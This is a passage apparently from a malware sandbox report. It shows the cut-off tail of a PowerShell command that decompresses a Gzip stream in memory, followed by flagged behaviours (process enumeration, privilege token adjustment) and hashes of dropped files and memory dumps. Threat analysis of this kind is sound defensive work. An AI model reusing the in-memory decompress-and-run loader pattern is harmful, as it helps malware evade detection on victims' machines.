IO.Compression.GzipStream($s,[IO.Compression.CompressionMode]::Decompress))).ReadToEnd();4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1680
Network
MITRE ATT&CK Matrix
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.logFilesize
1KB
MD54280e36a29fa31c01e4d8b2ba726a0d8
SHA1c485c2c9ce0a99747b18d899b71dfa9a64dabe32
SHA256e2486a1bdcba80dad6dd6210d7374bd70ae196a523c06ceda71370fd3ea78359
SHA512494fe5f0ade03669e5830bed93c964d69b86629440148d7b0881cf53203fd89443ebff9b4d1ee9d96244f62af6edede622d9eacba37f80f389a0d522e4ad4ea4
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveFilesize
16KB
MD59ca0e6cadbdcd9a32be59b8ec4981dde
SHA13490cae3d4c31d895ce9554368824fc472f9fbfa
SHA2562ee5a72be4c54835004fd70498c528e8865c6337397c7bda24d04a48aa0f99f6
SHA51228bbc024a52406575c31a96d3764388964d998131da21546fcf3f97367048aaccc655f299fb3b6cd5e38afd0581ffb7075053d6c526ca021439a3c2be4e2c481
-
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_24he0yuj.mne.ps1Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
memory/1628-34-0x0000000000400000-0x000000000045C000-memory.dmpFilesize
368KB
-
memory/1680-43-0x00000000752B0000-0x0000000075A60000-memory.dmpFilesize
7.7MB
-
memory/1680-41-0x0000000006370000-0x00000000063BC000-memory.dmpFilesize
304KB
-
memory/1680-35-0x0000000005720000-0x0000000005A74000-memory.dmpFilesize
3.3MB
-
memory/1680-27-0x00000000048E0000-0x00000000048F0000-memory.dmpFilesize
64KB
-
memory/1680-28-0x00000000048E0000-0x00000000048F0000-memory.dmpFilesize
64KB
-
memory/1680-25-0x00000000752B0000-0x0000000075A60000-memory.dmpFilesize
7.7MB
-
memory/3688-6-0x0000000005340000-0x00000000053A6000-memory.dmpFilesize
408KB
-
memory/3688-9-0x0000000005A90000-0x0000000005AF6000-memory.dmpFilesize
408KB
-
memory/3688-20-0x00000000079C0000-0x000000000803A000-memory.dmpFilesize
6.5MB
-
memory/3688-21-0x00000000065B0000-0x00000000065CA000-memory.dmpFilesize
104KB
-
memory/3688-18-0x0000000006060000-0x000000000607E000-memory.dmpFilesize
120KB
-
memory/3688-13-0x0000000005B00000-0x0000000005E54000-memory.dmpFilesize
3.3MB
-
memory/3688-26-0x00000000752B0000-0x0000000075A60000-memory.dmpFilesize
7.7MB
-
memory/3688-19-0x0000000006100000-0x000000000614C000-memory.dmpFilesize
304KB
-
memory/3688-1-0x00000000752B0000-0x0000000075A60000-memory.dmpFilesize
7.7MB
-
memory/3688-5-0x00000000051A0000-0x00000000051C2000-memory.dmpFilesize
136KB
-
memory/3688-4-0x0000000004DB0000-0x0000000004DC0000-memory.dmpFilesize
64KB
-
memory/3688-3-0x00000000053F0000-0x0000000005A18000-memory.dmpFilesize
6.2MB
-
memory/3688-2-0x0000000004DB0000-0x0000000004DC0000-memory.dmpFilesize
64KB
-
memory/3688-0-0x0000000002A90000-0x0000000002AC6000-memory.dmpFilesize
216KB